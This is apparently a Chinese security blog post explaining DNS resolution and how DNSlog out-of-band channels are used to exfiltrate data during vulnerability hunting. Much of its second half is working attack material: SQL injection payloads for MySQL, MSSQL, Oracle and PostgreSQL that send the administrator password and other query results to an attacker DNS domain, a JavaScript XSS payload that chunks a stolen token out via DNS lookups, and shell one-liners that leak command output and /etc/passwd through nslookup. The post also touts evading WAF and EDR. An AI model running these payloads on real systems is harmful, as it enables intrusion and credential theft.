DNSlog在漏洞挖掘中的妙用!!!

DNSlog妙用

前言

DNSlog!我想在师傅们已经是耳熟能详的了,不过以前鄙人认知短浅,对Dnslog的使用只停留在ssrf的挖掘中。于是特写此文准备深入了解一下,这Dnslog的深度利用,希望对师傅们有帮助。在了解DNSlog之前,我们要先明白DNS是什么、有什么作用、有哪些特性,这样我们才真正了解Dnslog的用法!

参考文章:Top18漏洞知识库-SRC技巧库、工具库

DNS介绍

DNS(Domain Name System),顾名思义就是域名系统,在我们的使用中它充当着“翻译官”的角色,主要功能是把我们所常见的域名(www.example.com)转换为IP(1.1.1.1)。其存在的意义就是让我们通过容易记忆的域名来访问不好记忆的IP。

DNS协议

DNS协议(Domain Name System Protocol)是互联网的核心基础设施之一,主要负责将域名解析为IP地址,这是访问网站等网络资源所必需的。

其中:

  • 正向解析是:域名 → IP地址(最常见)
  • 反向解析是:IP地址 → 域名(常用于日志分析、邮件验证等)

DNS解析流程

本地解析——>DNS服务器解析

首先操作系统会检查本地缓存(DNS Cache),如果没有查询到相关的解析记录,就会查阅 hosts 文件(例如:C:\Windows\System32\drivers\etc\hosts)是否有记录。(本地解析)

如果本地找不到,就会查询配置好的DNS服务器(如 8.8.8.8),DNS服务器若无结果,DNS解析会使用分层解析机制,会递归向更高层服务器请求(根 → TLD → 权威DNS)直到找到正确IP。


举个例子:当你在浏览器中访问 www.baidu.com,如果本地没有缓存或记录,则你的电脑会将该请求发送到DNS服务器(如8.8.8.8),由它查找 www.baidu.com 的真实IP地址(如183.221.253.100),最终返回给你,实现访问。

DNS服务器

DNS服务器也是有区别的,它的层级关系如下:

根DNS服务器(Root DNS Server):
    - 是DNS系统的顶级节点,全球仅有13组(命名为 A 到 M)。
    - 负责告诉查询者:某个顶级域(例如 .com、.cn、.org)应该去哪个 TLD 服务器查询。
    - 它不直接解析域名,但知道哪里能找到对应的 TLD 服务器。

TLD服务器(Top-Level Domain Server):
    - 顶级域名服务器,负责管理特定后缀域名(如 .com、.net、.cn)。
    - 告诉查询者:你要查的具体域名(如 baidu.com)是由哪个权威DNS服务器负责的。

权威DNS服务器(Authoritative DNS Server):
    - 由域名拥有者或注册商设置,存储某个具体域名的最终解析记录(如A记录、CNAME等)。
    - 它提供域名解析的最终答案,比如:www.baidu.com → 183.221.253.100。

本地DNS服务器(Recursive Resolver):
    - 就是我们通常配置的 DNS,比如 8.8.8.8 或 114.114.114.114。
    - 它负责接收我们的解析请求,如果自己没有缓存结果,就会递归查询根→TLD→权威服务器,并把最终结果返回给我们。

在进行 DNSLog 数据外带时,需要明确:DNS 解析过程发生在 HTTP 请求之前。因此,即便 HTTP 请求被阻断或拦截,DNS 请求依然可能成功发出,从而完成数据的外带。这使得 DNS 成为在无回显、网络受限环境下理想的外带通道之一。

下面我们来看看DNSlog 吧!


DNSlog原理与应用

什么是DNSlog,他与一般的DNS服务器(8.8.8.8)有什么区别?

1、DNSlog 平台本质上是你部署的一个 权威 DNS 服务器 + 日志记录系统。
2、它负责一个特定域名的解析,比如:dnslog.cn。
3、任何对 *.dnslog.cn 的 DNS 请求,都会先通过正常的 DNS 传输路径,最终到达你控制的 DNS 服务器。
4、它的作用:记录谁访问了哪个子域名(=带有数据的 DNS 请求)

直接看!例如eyes.sh这个DNSlog平台

我直接通过url访问

可见,这里就会记录到我们的IP

其中我们要考虑,为什么我们通过url(http://1.CMCCAdmin.eyes.sh)直接访问dnslog平台(http的方式),DNslog平台会有记录,他是通过web流量进行保存的吗,显然不是,不然它就不叫DNSlog了。过程是这样的:

当我们访问 `1.CMCCAdmin.eyes.sh` 这个临时生成的子域名。由于这个域名此前未被缓存,递归 DNS(如 8.8.8.8)会发起迭代查询,从根服务器 → `.sh` 的 TLD 服务器 → `eyes.sh` 的权威服务器(即 DNSlog 平台)获取解析结果。DNSlog 平台正是通过运行权威 DNS 服务器来捕捉到这个请求,并记录下我们查询的子域名 `1.CMCCAdmin.eyes.sh`。

DNSlog在实战中的使用

为什么我们要使用DNSlog?

1、目标环境存在漏洞但无回显(如盲注、盲 RCE、XXE 等)
2、目标禁用了 HTTP 通信/外带(如 CSP 限制、XSS 被 sandbox 等)
3、绕过日志审计、WAF、EDR,更隐蔽地测试漏洞
...

此文主要讲解如何进行数据外带和命令执行结果外带!

上面说到DNSlog平台会记录下访问的DNSlog的子域名吗,那我们就可以通过构造子域名来数据外带!

具体的方法如下,为了实现数据外带,目标系统需要具有可控的代码执行环境(如 XSS、命令注入、模板注入等),这样我们才能读取敏感变量(如 cookie、token、凭据),并将其拼接到我们控制的 DNSlog 域名的子域中({外带数据}.CMCCAdmin.eyes.sh),从而在触发解析时将数据一并带出。

以sql注入尝尝鲜:

这里就成功进行了数据外带!

DNSlog的局限性

不过既然它怎么好用,能直接数据外带,我们为什么不一直用它来进行数据外带呢?DNSlog进行数据外带也有局限性的?

其中最重要的就是其单个传输的数据量有限,不能传输大数据!

1、标签长度限制(Label Length):
每个标签(点与点之间的部分)不超过 63 个字符
示例:[数据段].[随机ID].dnslog.cn
其中 [数据段] 和 [随机ID] 都是独立标签,均需 ≤63 字符

2、总长度限制(Total Length):
完整域名(FQDN)不超过 255 个字符
包括所有标签和分隔点(.)
示例计算:数据(63) + .(1) + ID(63) + .(1) + dnslog(7) + .(1) + cn(2) = 138字符

但是不可否定,它有时候能让我们在绝境中突破!

破局之法

上面说到,单个传输的数据量有限,那就多发几次呗,所以对于大数据,我们就可以使用——"分块传输",直接秒了!

模拟实战

下面就来看看 dnslog 除了 ssrf 之外的用法吧!hiahiahia!

Sql注入——DNSlog组合

由于实战确实没有遇到什么好的例子,于是就以靶场代之。为什么要用到DNSlog来实现数据外带,难道其他的方法不行吗?直接使用时间盲注不也行吗?错了,盲注并非适合所有的sql注入!

当开发采用多线程异步的方式实现某个功能点时,盲注貌似就行不通了!举个例子:

我们发送了一个获取某个凭据请求,但是后端不仅会检验我们是否有权限获取(任务1),同时也会对我们的ua等数据进行记录(任务2),此时任务2存在sql注入,如果使用单线程,我们就需要等到两个任务都进行完毕,此时就会存在时间盲注是奏效的,但是如果使用多线程,另启动一个线程去执行ua的记录功能被另一个进程加载了,任务一获取到之后会正常响应了,任务二的sql注入用时间盲注就会检测不到。

此时就要利用DNSlog来检测了。

靶场:What is Blind SQL Injection? Tutorial & Examples | Web Security Academy

单线程:可以看到明显可以用时间盲注,注入前后时间差很大!

多线程的话,时间盲注是明显不起作用的

所以我们要进行DNSlog外带

TrackingId=xxxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT password FROM users WHERE username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--+

成功把密码进行了外带

补充:对于一些合法url格式的字符,例如:任意字母、数字、-、.,这种我们可以直接明文传输,如果外带的数据又#、@、'、"这中特殊字符,我们就要采用编码的形式,例如hex十六进制编码...

poc&payload

以下是四大常见数据库利用 DNSLog 外带数据的核心要点对比表,包含 利用前提POC(验证外带能力)具体 Payload(数据外带)

四大数据库 DNSLog 外带注入对比表

数据库

利用前提

POC(验证外带)

数据外带 Payload 示例

MySQL

1. Windows 系统
2. LOAD_FILE() 可用(需 secure_file_priv='' 且有 FILE 权限)

SELECT LOAD_FILE('\\\\test.dnslog.cn\\abc');

SELECT LOAD_FILE(CONCAT('\\\\',HEX(@@version),'.dnslog.cn\\x'));
注入拼接:
' UNION SELECT 1,LOAD_FILE(CONCAT('\\\\',HEX(@@version),'.dnslog.cn\\x'))--+

MSSQL

1. SA 权限
2. 启用 xp_dirtree 存储过程

DECLARE @h VARCHAR(50)='\\\\test.dnslog.cn\\abc'; EXEC master..xp_dirtree @h;

DECLARE @h='\\\\'+master.dbo.fn_varbintohexstr(CONVERT(VARBINARY(30),DB_NAME()))+'.dnslog.cn\\x'; EXEC xp_dirtree @h;
注入拼接:
'; DECLARE @h='\\\\'+master.dbo.fn_varbintohexstr(CONVERT(VARBINARY(30),DB_NAME()))+'.dnslog.cn\\x'; EXEC xp_dirtree @h--+

Oracle

1. 网络 ACL 权限
2. 启用 UTL_INADDRUTL_HTTP

SELECT UTL_INADDR.get_host_address('test.dnslog.cn') FROM dual;

`SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT RAWTOHEX(SYS_CONTEXT('USERENV','CURRENT_USER'))

PostgreSQL

1. 超级用户权限
2. 启用 COPY TO PROGRAM(默认禁用)

COPY (SELECT 'test') TO PROGRAM 'ping test.dnslog.cn';

`COPY (SELECT '') TO PROGRAM 'nslookup '

分块传输

这里以mysql的sql注入为例,我们要查询的语句为select session from test where id=1,因为数据量比较庞大,所以用分块传输的形式。结果漏洞场景,可以让AI写一个python脚本来实现,其实质就是利用concat、substring拼接和分割函数。

其他数据库同理。

Xss——DNSlog组合

这是我在挖掘src时,遇到的一个案例,也正是因为这个案例,坚定了我写这篇总结的决心。在此声明,相关漏洞已修复!

这是主包在挖掘百度时碰巧遇到了一个xss。在成功弹窗之后,发现可以弹窗出来token,不过这样还不够!

我再尝试一下外带token到vps,结果一直试,也没有试成功,尝试上beef也失败了。最后得知可能是站点禁止了向其他站点发送http请求,所以外带到vps和上线beef都不行,难道就这么死心了吗!主包不甘啊!http不行是吧,那我直接试试DNS进行外带呢?

一阵捣鼓,累得满头大汗!功夫不负有心人,成功进行了数据外带!ps:因为token没有特殊字符,所以直接明文外带即可

payload

这里因为 token 相关的值太长了,之前说到 dnslog 外带数据有限,于是下面就可以进行分块传输,已对 payload进行适当调整!这里重点在思路!

<svg>
  <script>
const token = xxxx;  //替换为要外带的字段
const encodedToken = encodeURIComponent(token);
const domain = 'xxx.eyes.sh';  //dnslog地址要换自己的
const maxChunkSize = 60;
for (let i = 0; i < encodedToken.length; i += maxChunkSize) {
  const chunk = encodedToken.substring(i, i + maxChunkSize);
  const url = `http://${i}-${chunk}.${domain}`;
  new Image().src = url;
}
  </script>
</svg>

相关的组合,还有 rce结合dnslog实现命令回显外带,这里就简单说一下,主要是太菜了!没有遇到什么好一点的示例,www!

Rce——DNSlog

ping `whoami`.CMCCAdmin.eyes.sh
host $(whoami).CMCCAdmin.eyes.sh
nslookup $(whoami).CMCCAdmin.eyes.sh
host $(id | base64).CMCCAdmin.eyes.sh
host $(whoami | xxd -p -c 256).CMCCAdmin.eyes.sh
nslookup $(whoami | xxd -p -c 256).CMCCAdmin.eyes.sh

分块传输

cat /etc/passwd | while read line; do
    echo -n "$line" | xxd -p -c30 | while read hex_chunk; do
        nslookup "${hex_chunk}.CMCCAdmin.eyes.sh"
    done
done

总结

就之前对dnslog只探测ssrf的短浅见解,对dnslog的概念和用法又加深了一遍,如果还有什么比较高级的思路,希望师傅们可以分享分享!今天的分享就到此结束了,文中如有错误,还请各位大师傅们斧正!!! 参考文章:Top18漏洞知识库-SRC技巧库、工具库

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值